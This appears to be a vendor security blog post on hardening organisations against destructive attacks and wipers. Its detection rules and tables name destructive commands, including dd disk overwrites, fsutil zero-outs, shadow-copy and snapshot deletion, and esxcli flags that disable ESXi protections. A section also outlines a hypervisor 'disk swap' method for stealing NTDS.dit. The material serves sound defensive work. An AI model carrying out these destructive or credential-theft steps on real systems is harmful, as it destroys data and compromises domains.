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Proactive Preparation and Hardening Against Destructive Attacks: 2026 Edition

6 March 2026 at 15:00

Written by: Matthew McWhirt, Bhavesh Dhake, Emilio Oropeza, Gautam Krishnan, Stuart Carrera, Greg Blaum, Michael Rudden


Background

Threat actors leverage destructive malware to destroy data, eliminate evidence of malicious activity, or manipulate systems in a way that renders them inoperable. Destructive cyberattacks can be a powerful means to achieve strategic or tactical objectives; however, the risk of reprisal is likely to limit the frequency of use to very select incidents. Destructive cyberattacks can include destructive malware, wipers, or modified ransomware.

When conflict erupts, cyber attacks are an inexpensive and easily deployable weapon. It should come as no surprise that instability leads to increases in attacks. This blog post provides proactive recommendations for organizations to prioritize for protecting against a destructive attack within an environment. The recommendations include practical and scalable methods that can help protect organizations from not only destructive attacks, but potential incidents where a threat actor is attempting to perform reconnaissance, escalate privileges, laterally move, maintain access, and achieve their mission. 

The detection opportunities outlined in this blog post are meant to act as supplementary monitoring to existing security tools. Organizations should leverage endpoint and network security tools as additional preventative and detective measures. These tools use a broad spectrum of detective capabilities, including signatures and heuristics, to detect malicious activity with a reasonable degree of fidelity. The custom detection opportunities referenced in this blog post are correlated to specific threat actor behavior and are meant to trigger anomalous activity that is identified by its divergence from normal patterns. Effective monitoring is dependent on a thorough understanding of an organization's unique environment and usage of pre-established baselines.

Organizational Resilience

While the core focus of this blog post is aligned to technical- and tactical-focused security controls, technical preparation and recovery are not the only strategies. Organizations that include crisis preparation and orchestration as key components of security governance can naturally adopt a "living" resilience posture. This includes:

  • Out-of-Band Incident Command and Communication: Establish a pre-validated, "out-of-band" communication platform that is completely decoupled from the corporate identity plane. This ensures that the key stakeholders and third-party support teams can coordinate and communicate securely, even if the primary communication platform is unavailable.

  • Defined Operational Contingency and Recovery Plans: Establish baseline operational requirements, including manual procedures for vital business functions to ensure continuity during restoration or rebuild efforts. Organizations must also develop prioritized application recovery sequences and map the essential dependencies needed to establish a secure foundation for recovery goals.

  • Pre-Establish Trusted Third-Party Vendor Relationships: Based on the range of technologies and platforms vital to business operations, develop predefined agreements with external partners to ensure access to specialists for legal / contractual requirements, incident response, remediation, recovery, and ransomware negotiations.

  • Practice and Refine the Recovery: Conduct exercises that validate the end-to-end restoration of mission-critical services using isolated, immutable backups and out-of-band communication channels, ensuring that recovery timelines (RTO) and data integrity (RPO) are tested, practiced, and current. 

Google Security Operations

Google Security Operations (SecOps) customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats, Mandiant Frontline Threats, Mandiant Hunting Rules, CDIR SCC Enhanced Data Destruction Alerts rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

  • BABYWIPER File Erasure

  • Secure Evidence Destruction And Cleanup Commands

  • CMD Launching Application Self Delete

  • Copy Binary From Downloads

  • Rundll32 Execution Of Dll Function Name Containing Special Character

  • Services Launching Cmd

  • System Process Execution Via Scheduled Task

  • Dllhost Masquerading

  • Backdoor Writing Dll To Disk For Injection

  • Multiple Exclusions Added To Windows Defender In Single Command

  • Path Exclusion Added to Windows Defender

  • Registry Change to CurrentControlSet Services

  • Powershell Set Content Value Of 0

  • Overwrite Disk Using DD Utility

  • Bcdedit Modifications Via Command

  • Disabling Crash Dump For Drive Wiping

  • Suspicious Wbadmin Commands

  • Fsutil File Zero Out

Recommendations Summary

Table 1 provides a high-level overview of guidance in this blog post.

Focus Area

Description

External-Facing Assets

Protect against the risk of threat actors exploiting an externally facing vector or leveraging existing technology for unauthorized remote access.

Critical Asset Protections

Protect specific high-value infrastructure and prepare for recovery from a destructive attack.

On-Premises Lateral Movement Protections

Protect against a threat actor with initial access into an environment from moving laterally to further expand their scope of access and persistence.

Credential Exposure and Account Protections

Protect against the exposure of privileged credentials to facilitate privilege escalation.

Preventing Destructive Actions in Kubernetes and CI/CD Pipelines

Protect the integrity and availability of Kubernetes environments and CI/CD pipelines.

Table 1: Overview of recommendations

1. External-Facing Assets

Identify, Enumerate, and Harden

To protect against a threat actor exploiting vulnerabilities or misconfigurations via an external-facing vector, organizations must determine the scope of applications and organization-managed services that are externally accessible. Externally accessible applications and services (including both on-premises and cloud) are often targeted by threat actors for initial access by exploiting known vulnerabilities, brute-forcing common or default credentials, or authenticating using valid credentials. 

To proactively identify and validate external-facing applications and services, consider:

  • Leveraging a vulnerability scanning technology to identify assets and associated vulnerabilities. 

  • Performing a focused vulnerability assessment or penetration test with the goal of identifying external-facing vectors that could be leveraged for authentication and access.

  • Verifying with technology vendors if the products leveraged by an organization for external-facing services require patches or updates to mitigate known vulnerabilities. 

Any identified vulnerabilities should not only be patched and hardened, but the identified technology platforms should also be reviewed to ensure that evidence of suspicious activity or technology/device modifications have not already occurred.

The following table provides an overview of capabilities to proactively review and identify external-facing assets and resources within common cloud-based infrastructures.

Cloud Provider

Attack Surface Discovery Capability

Google Cloud

Security Command Center

Amazon Web Services

AWS Config / Inspector

Microsoft Azure

Defender External Attack Surface Management (Defender EASM)

Table 2: Overview of cloud provider attack surface discovery capabilities

Enforce Multi-Factor Authentication

External-facing assets that leverage single-factor authentication (SFA) are highly susceptible to brute-forcing attacks, password spraying, or unauthorized remote access using valid (stolen) credentials. External-facing applications and services that currently allow for SFA should be configured to support multi-factor authentication (MFA). Additionally, MFA should be leveraged for accessing not only on-premises external-facing managed infrastructure, but also for cloud-based resources (e.g., software-as-a-service [SaaS] such as Microsoft 365 [M365]). 

When configuring multifactor authentication, the following methods are commonly considered (and ranked from most to least secure):

  • Fast IDentity Online 2 (FIDO2)/WebAuthn security keys or passkeys

  • Software/hardware Open Authentication (OAUTH) token

  • Authenticator application (e.g., Duo/Microsoft [MS] Authenticator/Okta Verify)

  • Time-based One Time Password (TOTP)

  • Push notification (least preferred option) using number matching when possible

  • Phone call

  • Short Message Service (SMS) verification

  • Email-based verification

Risks of Specific MFA Methods

Push Notifications

If an organization is leveraging push notifications for MFA (e.g., a notification that requires acceptance via an application or automated call to a mobile device), threat actors can exploit this type of MFA configuration for attempted access, as a user may inadvertently accept a push notification on their device without the context of where the authentication was initiated. 

Phone/SMS Verification

If an organization is leveraging phone calls or SMS-based verification for MFA, these methods are not encrypted and are susceptible to potentially being intercepted by a threat actor. These methods are also vulnerable if a threat actor is able to transfer an employee's phone number to an attacker-controlled subscriber identification module (SIM) card. This would result in the MFA notifications being routed to the threat actor instead of the intended employee. 

Email-Based Verification

If an organization is leveraging email-based verification for validating access or for retrieving MFA codes, and a threat actor has already established the ability to access the email of their target, the actor could potentially also retrieve the email(s) to validate and complete the MFA process. 

If any of these MFA methods are leveraged, consider:

  • Training remote users to never accept or respond to a logon notification when they are not actively attempting to log in.

  • Establishing a method for users to report suspicious MFA notifications, as this could be indicative of a compromised account.

  • Ensuring there are messaging policies in place to prevent the auto-forwarding of email messages outside the organization.

Time-Based One-Time Password

Time-based one-time password (TOTP) relies on a shared secret, called a seed, known by both the authenticating system and the authenticator possessed by an end user. If a seed is compromised, the TOTP authenticator can be duplicated and used by a threat actor.

Detection Opportunities for External-Facing Assets and MFA Attempts

Use Case

MITRE ID

Description

Brute Force

T1110 – Brute Force

Search for a single user with an excessive number of failed logins from external Internet Protocol (IP) addresses. 

This risk can be mitigated by enforcing a strong password, MFA, and lockout policy.

Password Spray

T1110.003 – Password Spray

Search for a high number of accounts with failed logins, typically from the similar origination addresses.

Multiple Failed MFA Same User

T1110 – Brute Force

T1078 – Valid Accounts

Search for multiple failed MFA conditions for the same account. This may be indicative of a previously compromised credential.

Multiple Failed MFA Same Source

T1110.003 – Password Spray

T1078 – Valid Accounts

Search for multiple failed MFA prompts for different users from the same source. This may be indicative of multiple compromised credentials and an attempt to "spray" MFA prompts/tokens for access.

External Authentication from an Account with Elevated Privileges

T1078 – Valid Accounts

Privileged accounts should use internally managed and secured privileged access workstations for access and should not be accessible directly from an external (untrusted) source.

Adversary in the Middle (AiTM) Session Token Theft

T1557 - Adversary in the Middle

Monitor for sign-ins where the authentication method succeeds but the session originates from an IP/ASN inconsistent with the user's prior sessions. 

Detect logins from newly registered domains or known reverse-proxy infrastructure (EvilProxy, Tycoon 2FA). 

Correlate sign-in logs for "isInteractive: true" sessions with anomalous user-agent strings or geographically impossible travel.

MFA Fatigue / Prompt Bombing

T1621 - MFA Request Generation

Search for accounts receiving more than five MFA push notifications within a 10-minute window without a corresponding successful authentication. 

Post-Authentication MFA Device Registration

T1098.005 - Account Manipulation - Device Registration

Monitor audit logs for new MFA device registrations (AuthenticationMethodRegistered) occurring within 60 minutes of a sign-in from a new IP or device. Attackers who steal session tokens via AiTM immediately register their own MFA device for persistent access.

OAuth/Consent Phishing

T1550.001 - Use Alternate Authentication Material

Monitor for OAuth application consent grants with high-privilege scopes (Mail.Read, Files.ReadWrite.All) from unrecognized application IDs.

Table 3: Detection opportunities for external-facing assets and MFA attempts

2. Critical Asset Protections

Domain Controller and Critical Asset Backups

Organizations should verify that backups for domain controllers and critical assets are available and protected against unauthorized access or modification. Backup processes and procedures should be exercised on a continual basis. Backups should be protected and stored within secured enclaves that include both network and identity segmentation. 

If an organization's Active Directory (AD) were to become corrupted or unavailable due to ransomware or a potentially destructive attack, restoring Active Directory from domain controller backups may be the only viable option to reconstitute domain services. The following domain controller recovery and reconstitution best practices should be proactively reviewed by organizations: 

  • Verify that there is a known good backup of domain controllers and SYSVOL shares (e.g., from a domain controller – backup C:\Windows\SYSVOL).

    • For domain controllers, a system state backup is preferred. 

      Note: For a system state backup to occur, Windows Server Backup must be installed as a feature on a domain controller.

    • The following command can be run from an elevated command prompt to initiate a system state backup of a domain controller.

wbadmin start systemstatebackup -backuptarget:<targetDrive>:

Figure 1: Command to perform a system state backup

    • The following command can be run from an elevated command prompt to perform a SYSVOL backup. (Manage auditing and security log permissions must also be configured for the account performing the backup.)
robocopy c:\windows\sysvol c:\sysvol-backup /copyall /mir /b /r:0 /xd

Figure 2: Command to perform a SYSVOL backup

  • Proactively identify domain controllers that hold flexible single master operation (FSMO) roles, as these domain controllers will need to be prioritized for recovery in the event that a full domain restoration is required. 

netdom query fsmo

Figure 3: Command to identify domain controllers that hold FSMO roles

  • Offline backups: Ensure offline domain controller backups are secured and stored separately from online backups. 

  • Encryption: Backup data should be encrypted both during transit (over the wire) and when at rest or mirrored for offsite storage. 

  • DSRM Password validation: Ensure that the Directory Services Restore Mode (DSRM) password is set to a known value for each domain controller. This password is required when performing an authoritative or nonauthoritative domain controller restoration. 

  • Configure alerting for backup operations: Backup products and technologies should be configured to detect and provide alerting for operations critical to the availability and integrity of backup data (e.g., deletion of backup data, purging of backup metadata, restoration events, media errors). 

  • Enforce role-based access control (RBAC): Access to backup media and the applications that govern and manage data backups should use RBAC to restrict the scope of accounts that have access to the stored data and configuration parameters. 

  • Testing and verification: Both authoritative and nonauthoritative domain controller restoration processes should be documented and tested on a regular basis. The same testing and verification processes should be enforced for critical assets and data.

Business Continuity Planning

Critical asset recovery is dependent upon in-depth planning and preparation, which is often included within an organization's business continuity plan (BCP). Planning and recovery preparation should include the following core competencies:

  • A well-defined understanding of crown jewels data and supporting applications that align to backup, failover, and restoration tasks that prioritize mission-critical business operations

  • Clearly defined asset prioritization and recovery sequencing

  • Thoroughly documented recovery processes for critical systems and data

  • Trained personnel to support recovery efforts

  • Validation of recovery processes to ensure successful execution

  • Clear delineation of responsibility for managing and verifying data and application backups

  • Online and offline data backup retention policies, including initiation, frequency, verification, and testing (for both on-premises and cloud-based data)

  • Established service-level agreements (SLAs) with vendors to prioritize application and infrastructure-focused support

Continuity and recovery planning can become stale over time, and processes are often not updated to reflect environment and personnel changes. Prioritizing evaluations, continuous training, and recovery validation exercises will enable an organization to be better prepared in the event of a disaster.

Detection Opportunities for Backups

 

Use Case

MITRE ID

Description

Volume Shadow Deletion

T1490 – Inhibit System Recovery

Search for instances where a threat actor will delete volume shadow copies to inhibit system recovery. This can be accomplished using the command line, PowerShell, and other utilities.

Unauthorized Access Attempt

T1078 – Valid Accounts

Search for unauthorized users attempting to access the media and applications that are used to manage data backups.

Suspicious Usage of the DSRM Password

T1078 – Valid Accounts

Monitor security event logs on domain controllers for:

  • Event ID 4794 - An attempt was made to set the Directory Services Restore Mode administrator password

Monitoring the following registry key on domain controllers:

HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior

Figure 4: DSRM registry key for monitoring

The possible values for the registry key noted in Figure 4 are:

  • 0 (default): The DSRM Administrator account can only be used if the domain controller is restarted in Directory Services Restore Mode.

  • 1: The DSRM Administrator account can be used for a console-based log on if the local Active Directory Domain Services service is stopped.

  • 2: The DSRM Administrator account can be used for console or network access without needing to reboot a domain controller.

Table 4: Detection opportunities for backups

IT and OT Segmentation

Organizations should ensure that there is both physical and logical segmentation between corporate information technology (IT) domains, identities, networks, and assets and those used in direct support of operational technology (OT) processes and control. By enforcing IT and OT segmentation, organizations can inhibit a threat actor's ability to pivot from corporate environments to mission-critical OT assets using compromised accounts and existing network access paths. 

OT environments should leverage separate identity stores (e.g., dedicated Active Directory domains), which are not trusted or cross-used in support of corporate identity and authentication. The compromise of a corporate identity or asset should not result in a threat actor's ability to directly pivot to accessing an asset that has the ability to influence an OT process.

In addition to separate AD forests being leveraged for IT and OT, segmentation should also include technologies that may have a dual use in the IT and OT environments (backup servers, antivirus [AV], endpoint detection and response [EDR], jump servers, storage, virtual network infrastructure). OT segmentation should be designed such that if there is a disruption in the corporate (IT) environment, the OT process can safely function independently, without a direct dependency (account, asset, network pathway) with the corporate infrastructure. For any dependencies that cannot be readily segmented, organizations should identify potential short-term processes or manual controls to ensure that the OT environment can be effectively isolated if evidence of an IT (corporate)-focused incident were detected. 

Segmenting IT and OT environments is a best practice recommended by industry standards such as the National Institute of Standards and Technology (NIST) SP 800-82r3: Guide to Operational Technology (OT) Security and IEC 62443 (formerly ISA99).

According to these best-practice standards, segmenting IT and OT networks should include the following:

  • OT attack surface reduction by restricting the scope of ports, services, and protocols that are directly accessible within the OT network from the corporate (IT) network.

  • Incoming access from corporate (IT) into OT must terminate within a segmented OT demilitarized zone (DMZ). The OT DMZ must require that a separate level of authentication and access be granted (outside of leveraging an account or endpoint that resides within the corporate IT domain). 

  • Explicit firewall rules should restrict both incoming traffic from the corporate environment and outgoing traffic from the OT environment.

  • Firewalls should be configured using the principle of deny by default, with only approved and authorized traffic flows permitted. Egress (internet) traffic flows for all assets that support OT should also follow the deny-by-default model.

  • Identity (account) segmentation must be enforced between corporate IT and OT. An account or endpoint within either environment should not have any permissions or access rights assigned outside of the respective environment. 

  • Remote access to the OT environment should not leverage similar accounts that have remote access permissions assigned within the corporate IT environment. MFA using separate credentials should be enforced for remotely accessing OT assets and resources.

  • Training and verification of manual control processes, including isolation and reliability verification for safety systems.

  • Secured enclaves for storing backups, programming logic, and logistical diagrams for systems and devices that comprise the OT infrastructure.

  • The default usernames and passwords associated with OT devices should always be changed from the default vendor configuration(s). 

Detection Opportunities for IT and OT Segmented Environments

Use Case

MITRE ID

Description

Network Service Scanning

T1046 – Network Service Scanning

Search for instances where a threat actor is performing internal network discovery to identify open ports and services between segmented environments.

Unauthorized Authentication Attempts Between Segmented Environments

T1078 – Valid Accounts

Search for failed logins for accounts limited to one environment attempting to log in within another environment. This can detect threat actors attempting to reuse credentials for lateral movement between networks.

Table 5: Detection opportunities for IT and OT segmented environments

Egress Restrictions

Servers and assets that are infrequently rebooted are highly targeted by threat actors for establishing backdoors to create persistent beacons to command-and-control (C2) infrastructure. By blocking or severely limiting internet access for these types of assets, an organization can effectively reduce the risk of a threat actor compromising servers, extracting data, or installing backdoors that leverage egress communications for maintaining access.

Egress restrictions should be enforced so that servers, internal network devices, critical IT assets, OT assets, and field devices cannot attempt to communicate to external sites and addresses (internet resources). The concept of deny by default should apply to all servers, network devices, and critical assets (including both IT and OT), with only allow-listed and authorized egress traffic flows explicitly defined and enforced. Where possible, this should include blocking recursive Domain Name System (DNS) resolutions not included in an allow-list to prevent communication via DNS tunneling.

If possible, egress traffic should be routed through an inspection layer (such as a proxy) to monitor external connections and block any connections to malicious domains or IP addresses. Connections to uncategorized network locations (e.g., a domain that has been recently registered) should not be permitted. Ideally, DNS requests would be routed through an external service (e.g., Cisco Umbrella, Infoblox DDI) to monitor for lookups to malicious domains. 

Threat actors often attempt to harvest credentials (including New Technology Local Area Network [LAN] Manager [NTLM] hashes) based upon outbound Server Message Block (SMB) or Web-based Distributed Authoring and Versioning (WebDAV) communications. Organizations should review and limit the scope of egress protocols that are permissible from any endpoint within the environment. While Hypertext Transfer Protocol (HTTP) (Transmission Control Protocol (TCP)/80) and HTTP Secure (HTTPS) (TCP/443) egress communications are likely required for many user-based endpoints, the scope of external sites and addresses can potentially be limited based upon web traffic-filtering technologies. Ideally, organizations should only permit egress protocols and communications based upon a predefined allow-list. Common high-risk ports for egress restrictions include:

  • File Transfer Protocol (FTP)

  • Remote Desktop Protocol (RDP)

  • Secure Shell (SSH)

  • Server Message Block (SMB)

  • Trivial File Transfer Protocol (TFTP) 

  • WebDAV

Detection Opportunities for Suspicious Egress Traffic Flows

Use Case

MITRE ID

Description

External Connection Attempt to a Known Malicious IP

TA0011 – Command and Control

Leverage threat feeds to identify attempted connections to known bad IP addresses.

External Communications from Servers, Critical Assets, and Isolated Network Segments

TA0011 – Command and Control

Search for egress traffic flows from subnets and addresses that correlate to servers, critical assets, OT segments, and field devices.

Outbound Connections Attempted Over SMB

T1212 – Exploitation for Credential Access

Search for external connection attempts over SMB, as this may be an attempt to harvest credential hashes.

Table 6: Detection opportunities for suspicious egress traffic flows

Virtualization Infrastructure Protections 

Threat actors often target virtualization infrastructure (e.g., VMware vSphere, Microsoft Hyper-V) as part of their reconnaissance, lateral movement, data theft, and potential ransomware deployment objectives. Securing virtualization infrastructure requires a Zero Trust network posture as a primary defense. Because management appliances often lack native MFA for local privileged accounts, identity-based security alone can be a high-risk single point of failure. If credentials are compromised, the logical network architecture becomes the final line of defense protecting the virtualization management plane.

To reduce the attack surface of virtualized infrastructure, a best practice for VMware vSphere vCenter ESXi and Hyper-V appliances and servers is to isolate and restrict access to the management interfaces, essentially enclaving these interfaces within isolated virtual local area networks (VLANs) (network segments) where connectivity is only permissible from dedicated subnets where administrative actions can be initiated.

To protect the virtualization control plane, organizations must consider a "defense-in-depth" network model. This architecture integrates physical isolation and east-west micro-segmentation to remove all access paths from untrusted networks. The result is a management zone that remains isolated and resilient, even during an active intrusion.

VMware vSphere Zero-Trust Network Architecture 

The primary goal is to ensure that even if privileged credentials are compromised, the logical network remains the definitive defensive layer preventing access to virtualization management interfaces.

  • Immutable VLAN Segmentation: Enforce strict isolation using distinct 802.1Q VLAN IDs for host management, Infrastructure/VCSA, vMotion (non-routable), Storage (non-routable), and production Guest VMs.

  • Virtual Routing and Forwarding (VRF): Transition all infrastructure VLANs into a dedicated VRF instance. This ensures that even a total compromise of the "User" or "Guest" zones results in no available route to the management zone(s).

Layer 3 and 4 Access Policies

The management network must be accessible only from trusted, hardened sources.

  • PAW-Exclusive Access: Deconstruct all direct routes from the general corporate LAN to management subnets. Access must originate strictly from a designated Privileged Access Workstation (PAW) subnet.

  • Ingress Filtering (Management Zone):

    • ALLOW: TCP/443 (UI/API) and TCP/902 (MKS) from the PAW subnet only.

    • DENY: Explicitly block SSH (TCP/22) and VAMI (TCP/5480) from all sources except the PAW subnet.

  • Restrictive Egress Policy: Enforce outbound filtering at the hardware gateway (as the VCSA GUI cannot manage egress). To prevent persistence using C2 traffic and data exfiltration, block all internet access except to specific, verified update servers (e.g., VMware Update Manager) and authorized identity providers.

Host-Based Firewall Enforcement

Complement network firewalls with host-level filtering to eliminate visibility gaps within the same VLAN.

  • VCSA (Photon OS): Transition the default policy to "Default Deny" via the VAMI or, preferably, at the OS level using iptables/nftables for granular source/destination mapping. 

  • ESXi Hypervisors: Restrict all services (SSH, Web Access, NFC/Storage) to specific management IPs by deselecting "Allow connections from any IP address."

Additional information related to VMware vSphere VCSA host based firewalls.

A listing of administrative ports associated with VMWare vCenter (that should be targeted for isolation).

Hyper-V Zero-Trust Network Architecture 

Similar to vSphere, Hyper-V requires strict isolation of its various traffic types to prevent lateral movement from guest workloads to the management plane.

  • VLAN Segmentation: Organizations must enforce isolation using distinct VLANs for Host Management, Live Migration, Cluster Heartbeat (CSV), and Production Guest VMs.

  • Non-Routable Networks: Traffic for Live Migration and Cluster Shared Volumes (CSV) should be placed on non-routable VLANs to ensure these high-bandwidth, sensitive streams cannot be intercepted from other segments.

Layer 3 and 4 Access Policies

The management network must be accessible only from trusted, hardened sources.

  • PAW-Exclusive Access: Deconstruct all direct routes from the general corporate LAN to management subnets. Access must originate strictly from a designated Privileged Access Workstation (PAW) subnet.

  • Ingress Filtering (Management Zone):

    • ALLOW: WinRM / PowerShell Remoting (TCP/5985 and TCP/5986), RDP (TCP/3389), and WMI/RPC (TCP/135 and dynamic RPC ports)strictly from the PAW subnet. If using Windows Admin Center, allow HTTPS (TCP/443) to the gateway.

    • DENY: Explicitly block SMB (TCP/445), RPC/WMI (TCP/135), and all other management traffic from untrusted sources to prevent credential theft and lateral movement.

  • Restrictive Egress Policy: Enforce outbound filtering at the network gateway. To prevent persistence using C2 traffic and data exfiltration, block all internet access from Hyper-V hosts except to specific, verified update servers (e.g., internal WSUS), authorized Active Directory Domain Controllers, and Key Management Servers (KMS).

Host-Based Firewall Enforcement

Use the Windows Firewall with Advanced Security (WFAS) to achieve a defense-in-depth posture at the host level.

  • Scope Restriction: For all enabled management rules (e.g., File and Printer Sharing, WMI, PowerShell Remoting), modify the Remote IP Address scope to "These IP addresses" and enter only the PAW and management server subnets.

  • Management Logging: Enable logging for Dropped Packets in the Windows Firewall profile. This allows the SIEM to ingest "denied" connection attempts, which serve as high-fidelity indicators of internal reconnaissance or unauthorized access attempts.

Additional information related to Hyper-V host based firewalls.

Additional information related to securing Hyper-V. 

General Virtualization Hardening 

To protect management interfaces for VMware vSphere the VMKernel network interface card (NIC) should not be bound to the same virtual network assigned to virtual machines running on the host. Additionally, ESXi servers can be configured in lockdown mode, which will only allow console access from the vCenter server(s). Additional information related to lockdown mode.

The SSH protocol (TCP/22) provides a common channel for accessing a physical virtualization server or appliance (vCenter) for administration and troubleshooting. Threat actors commonly leverage SSH for direct access to virtualization infrastructure to conduct destructive attacks. In addition to enclaving access to administrative interfaces, SSH access to virtualization infrastructure should be disabled and only enabled for specific use-cases. If SSH is required, network ACLs should be used to limit where connections can originate.

Identity segmentation should also be configured when accessing administrative interfaces associated with virtualization infrastructure. If Active Directory authentication provides direct integrated access to the physical virtualization stack, a threat actor that has compromised a valid Active Directory account (with permissions to manage the virtualization infrastructure) could potentially use the account to directly access virtualized systems to steal data or perform destructive actions.

Authentication to virtualized infrastructure should rely upon dedicated and unique accounts that are configured with strong passwords and that are not co-used for additional access within an environment. Additionally, accessing management interfaces associated with virtualization infrastructure should only be initiated from isolated privileged access workstations, which prevent the storing and caching of passwords used for accessing critical infrastructure components.

Protecting Hypervisors Against Offline Credential Theft and Exfiltration

Organizations should implement a proactive, defense-in-depth technical hardening strategy to systematically address security gaps and mitigate the risk of offline credential theft from the hypervisor layer. The core of this attack is an offline credential theft technique known as a "Disk Swap." Once an adversary has administrative control over the hypervisor (vSphere or Hyper-V), they perform the following steps:

  • Target Identification: The actor identifies a critical virtualized asset, such as a Domain Controller (DC) 

  • Offline Manipulation: The target VM is powered off, and its virtual disk file (e.g., .vmdk for VMware or .vhd/.vhdx for Hyper-V) is detached.

  • NTDS.dit Extraction: The disk is attached to a staging or "orphaned" VM under the attacker's control. From this unmonitored machine, they copy the NTDS.dit Active Directory database.

  • Stealthy Recovery: The disk is re-attached to the original DC, and the VM is powered back on, leaving minimal forensic evidence within the guest operating system.

Hardening and Mitigation Guidance

To defend against this logic, organizations must implement a defense-in-depth strategy that focuses on cryptographic isolation and strict lifecycle management.

  • Virtual Machine Encryption: Organizations must encrypt all Tier 0 virtualized assets (e.g., Domain Controllers, PKI, and Backup Servers). Encryption ensures that even if a virtual disk file is stolen or detached, it remains unreadable without access to the specific keys. 

  • Strict Decommissioning Processes: Do not leave powered-off or "orphaned" virtual machines on datastores. These "ghost" VMs are ideal staging environments for attackers. Formally decommission assets by deleting their virtual disks rather than just removing them from the inventory.

  • Harden Hypervisor Accounts: Disable or restrict default administrative accounts (such as root on ESXi or the local Administrator on Hyper-V hosts). Enforce Lockdown Mode (VMware ESXi feature) where possible to prevent direct host-level changes outside of the central management plane.

  • Remote Audit Logging: Enable and forward all hypervisor-level audit logs (e.g., hostd.log, vpxa.log, or Windows Event Logs for Hyper-V) to a centralized SIEM. 

Protecting Backups

Security measures must encompass both production and backup environments. An attack on the production plane is often coupled with a simultaneous focus on backup integrity, creating a total loss of operational continuity. Virtual disk files (VMDK for VMware and VHD/VHDX for Hyper-V) represent a high-value target for offline data theft and direct manipulation.

Hardening and Mitigation Guidance

To mitigate the risk of offline theft and backup manipulation, organizations must implement a "Default Encrypted" policy across the entire lifecycle of the virtual disk .

  • At-Rest Encryption for all Tier-0 Assets: Implement vSphere VM Encryption or Hyper-V Shielded VMs for all critical infrastructure (e.g., Domain Controllers, Certificate Authorities). This ensures that the raw VMDK or VHDX files are cryptographically protected, rendering them unreadable if detached or mounted by an unauthorized party.

  • Encrypted Backup Repositories: Ensure that the backup application is configured to encrypt backup data at rest using a unique key stored in a separate, hardened Key Management System (KMS). This prevents "direct manipulation" of the backup files even if the backup storage itself is compromised. 

  • Network Isolation of Storage & Backups: Isolate the storage management network and the backup infrastructure into dedicated, non-routable VLANs. Access to the backup console and repositories must require phishing-resistant MFA and originate from a designated Privileged Access Workstation (PAW).

  • Immutability and Air-Gapping: Use Immutable Backup Repositories to ensure that once a backup is written, it cannot be modified or deleted by any user including a compromised administrator for a set period. This provides a definitive recovery point in the event of a ransomware attack or intentional data sabotage.

Detection Opportunities for Monitoring Virtualization Infrastructure

Use Case

MITRE ID

Description

Unauthorized Access Attempt to Virtualized Infrastructure

T1078 – Valid Accounts

Search for attempted logins to virtualized infrastructure by unauthorized accounts.

Unauthorized SSH Connection Attempt

T1021.004 – Remote Services: SSH

Search for instances where an SSH connection is attempted when SSH has not been enabled for an approved purpose or is not expected from a specific origination asset.

ESXi Shell/SSH Enablement

T1059.004 - Command and Scripting Interpreter

Monitor ESXi hostd.log and shell.log for the SSH service being enabled via DCUI, vSphere client, or API calls. Alert on any ESXi SSH enablement event that was not preceded by an approved change request.

Bulk VM Power-Off Events

T1529 - System Shutdown/Reboot

Detect sequences where multiple VMs are powered off within a short time window (e.g., >5 VMs in 10 minutes) via vCenter events. 

Correlate with vpxd.log "ReceivedPowerOffVM" events.

VMDK File Access from Non-Standard Processes

T1486 - Data Encrypted for Impact

Monitor for processes accessing .vmdk, .vmx, .vmsd, or .vmsn files outside of normal VMware service processes (hostd, vpxd, fdm). 

execInstalledOnly Disablement

T1562.001 - Impair Defenses: Disable or Modify Tools

Monitor ESXi shell.log for execution of "esxcli system settings encryption set" with "--require-exec-installed-only=F" or "--require-secure-boot=F". Alert on any cryptographic enforcement disablement event that was not preceded by an approved change request.

vCenter SSO Identity Modification

T1556 - Modify Authentication Process

Monitor vCenter events and vpxd.log for modifications to SSO identity sources, including the addition of new LDAP providers or changes to vshphere.local administrator group membership. Alert on an identity source change not initiated from a designated PAW subnet.

VM Disk Detach and Reattach to Non-Inventory VM

T1486 - Data Encrypted for Impact

Detect sequences where a virtual disk is removed from a Tier-0 asset via "vim.event.VmReconfiguredEvent" and subsequently attached to an orphaned or non-standard inventory VM. 

Correlate with "vim.event.VmRegisteredEvent" events on non-standard datastore paths within the same time window.

VCSA Shell Command Anomaly

T1059.004 - Command and Scripting Interpreter: Unix Shell

Monitor VCSA shell audit logs for execution of high-risk commands (e.g., wget, curl, psql, certificate-manager) by any user following an interactive SSH session. Alert on any instance where these commands are executed outside of an approved change window.

Bulk Snapshot Deletion

T1490 - Inhibit System Recovery

Detects sequences where snapshots are removed across multiple VMs within a short time window via vCenter events. Correlate with "vim-cmd vmsvc/snapshot.removeall" execution in hostd.log to confirm host-level action.

Table 7: Detection opportunities for VMware vSphere

Protecting Against DDoS Attacks

A distributed denial-of-service (DDoS) attack is an example of a disruptive attack that could impact the availability of cloud-based resources and services. Modernized DDoS protection must extend beyond the legacy concepts of filtering and rate-limiting, and include cloud-native capabilities that can scale to combat adversarial capabilities.

In addition to third-party DDoS and web application access protection services, the following table provides an overview of DDoS protection capabilities within common cloud-based infrastructures.

Cloud Provider

DDoS Protection Capability 

Google Cloud

Google Cloud Armor

Amazon Web Services

AWS Shield

Microsoft Azure

Azure DDoS Protection

Cloud Platform Agnostic 

Imperva WAF

Akamai WAF

Cloudflare DDoS Protection

Table 8: Common cloud capabilities to mitigate DDoS attacks

Hardening the Cloud Perimeter 

With the hybrid operating model of modern day infrastructure, cloud consoles and SaaS platforms are high-value targets for credential harvesting and data exfiltration. Minimizing these risks requires a dual-defense strategy: robust identity controls to prevent unauthorized access, and platform-specific guardrails to protect access to resources, data, and to minimize the attack surface. 

Strong Authentication Enforcement

Strong authentication is the foundational requirement for cloud resilience and securing cloud infrastructure. Similar to on-premises environments, a compromise of a privileged credential, token, or session could lead to unintended consequences that result in a high-impact event for an organization. To mitigate these pervasive risks, organizations must unconditionally enforce strong authentication for all external-facing cloud services, administrative portals, and SaaS platforms. 

Organizations should enforce the usage of phishing-resistant authenticators such as FIDO2 (WebAuthn) hardware tokens or passkeys, or certificate based authentication for accounts assigned privileged roles and functions. For non-privileged users, authenticator software (Microsoft Authenticator or Okta Verify) should be configured to utilize device-bound factors such as Windows Hello for Business or TouchID.

